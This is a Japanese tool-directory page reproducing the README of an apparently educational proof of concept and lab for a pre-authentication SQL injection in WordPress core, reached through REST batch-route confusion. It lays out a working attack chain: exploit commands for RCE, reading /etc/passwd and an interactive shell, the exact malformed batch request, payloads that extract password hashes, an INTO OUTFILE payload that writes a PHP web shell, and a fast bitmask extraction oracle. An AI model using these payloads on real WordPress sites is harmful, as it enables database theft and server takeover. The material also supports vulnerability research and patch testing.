Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/47cid/wp2shell-lab
静的分析脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHub47cid/wp2shell-lab

wp2shell-lab

教育用PoC + ラボ for CVE-2026-63030 + CVE-2026-60137: WordPressコアにおけるREST batch-route混乱を介した認証前SQLi

142181ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
リポジトリを見る
共有

wp2shell-lab

CVE-2026-63030 + CVE-2026-60137 の教育用PoCおよびラボ:WordPressコアにおけるRESTバッチルート混乱を利用した事前認証SQLインジェクション。

Adam Kues(Searchlight Cyber / Assetnote)により発見。WordPress 6.9.5 / 7.0.2 で修正済み。

クイックスタート

root@kitploit:~
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

解説

ステップ1:バッチエンドポイントは認証不要

POST /wp-json/batch/v1 は複数のREST API呼び出しを1つのHTTPリクエストにまとめます。それ自身には認証チェックがなく、セキュリティは各サブリクエストのパーミッションコールバックに委任されます。

ステップ2:デシンク

serve_batch_request_v1() は2つの並列配列を構築します:

  • $matches[] は各サブリクエストをディスパッチするハンドラを追跡
  • $validation[] は各サブリクエストがバリデーションを通過したかを追跡

ディスパッチ中に両方の配列を同じオフセットでインデックスします。バグ:サブリクエストのパスが wp_parse_url() に失敗すると、WP_Error が $validation にプッシュされますが、$matches にはプッシュされません。これにより $matches が1つずれ、以降の各サブリクエストが誤ったハンドラにディスパッチされます。

ステップ3:二重ネスト

デシンクは2回使用されます。

外部バッチ。 ボディに内部バッチを含む /wp/v2/posts リクエストは、バッチハンドラ(自己呼び出し)の下でディスパッチされます。これは投稿リクエストとして検証されたため、内部の requests 配列はバッチスキーマに対してチェックされませんでした。これによりメソッドの許可リストをバイパスし、内部サブリクエストがGETを使用できるようになります。

内部バッチ。 /wp/v2/categories?author_exclude=<SQLI> リクエストは get_items() の下でディスパッチされます。カテゴリスキーマは author_exclude を定義していないため、そのままバリデーションを通過します。しかし、get_items() はそれを WP_Query::author__not_in にマッピングし、そこで値が生のままSQLに挿入されます。

ステップ4:SQLインジェクション

脆弱な WP_Query コードは、author__not_in が既に配列である場合にのみサニタイズしていました。

root@kitploit:~
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

文字列値は is_array() のゲートを完全にバイパスします。(array) キャストはサニタイズせずにラップします。

ステップ5:これでできること

データベースの読み取り(影響を受けるすべてのサイト):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

ブールオラクル:投稿が返るとtrue、空ならfalse。1文字あたり二分探索。

ファイルの書き込み(MySQL FILE権限が必要。WordPressのデフォルトでは不可):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

バッチデシンク

実際のHTTPリクエスト:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

配列がどのようにずれるか:

serve_batch_request_v1() は2つのループでサブリクエストを処理します。最初のループはすべてのサブリクエストを検証し、$matches[] と $validation[] を構築します。2番目のループは各サブリクエストを $matches[$i] をハンドラとしてディスパッチします。プライマーのエラーは $matches にないため、2番目のループは各リクエストを誤ったハンドラとペアにします。

root@kitploit:~
POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

X-WP-Totalビットマスクオラクルによる高速抽出

既存のPoCはブラインドブール抽出を使用します:HTTPリクエストあたり1ビット、パスワードハッシュで約224リクエスト。このリポジトリは2つのテクニックを組み合わせて約75倍の高速化を実現します。

X-WP-Totalオラクル。 WordPressは投稿クエリに SQL_CALC_FOUND_ROWS を追加し、そのカウントを X-WP-Total レスポンスヘッダーに置きます。UNION行はPHPがレスポンスボディからフィルタリングしてもSQLレベルでカウントされます。条件付きUNIONで個々のビットをエンコードします:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0 はビットが設定されていないことを意味し、1はビットが設定されていることを意味します。7回のプローブで1つの完全なASCII文字を取得します。

無制限の内部バッチ。 外部バッチはスキーマを介して maxItems: 25 を検証します。ルート混乱はこれをバイパスします:内部バッチはサイズチェックなしで再帰的に実行されます。複数文字に対する7つのビットプローブすべてが1つのリクエストに詰め込まれます。

16文字 x 7ビット = リクエストあたり112プローブ。34文字のphpassハッシュを約3リクエスト(通常は約224リクエスト)で取得。

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

参考文献

  • WordPress 7.0.2 リリース
  • Searchlight Cyber アドバイザリ
  • GHSA-ff9f-jf42-662q(ルート混乱)
  • GHSA-fpp7-x2x2-2mjf(SQLi)
  • Icex0/wp2shell-poc - ブラインドSQLi + 認証後ウェブシェル
  • AdnaneKhan/Wp2Shell-RCE - INTO OUTFILE RCE with Docker lab
  • sergiointel/wp2shell-poc - 最小限のタイミングベースPoC

法的注意

許可されたセキュリティテストおよび教育目的のみに使用してください。所有しているシステム、または明示的な書面によるテスト許可があるシステムに対してのみ使用してください。

ツールをダウンロード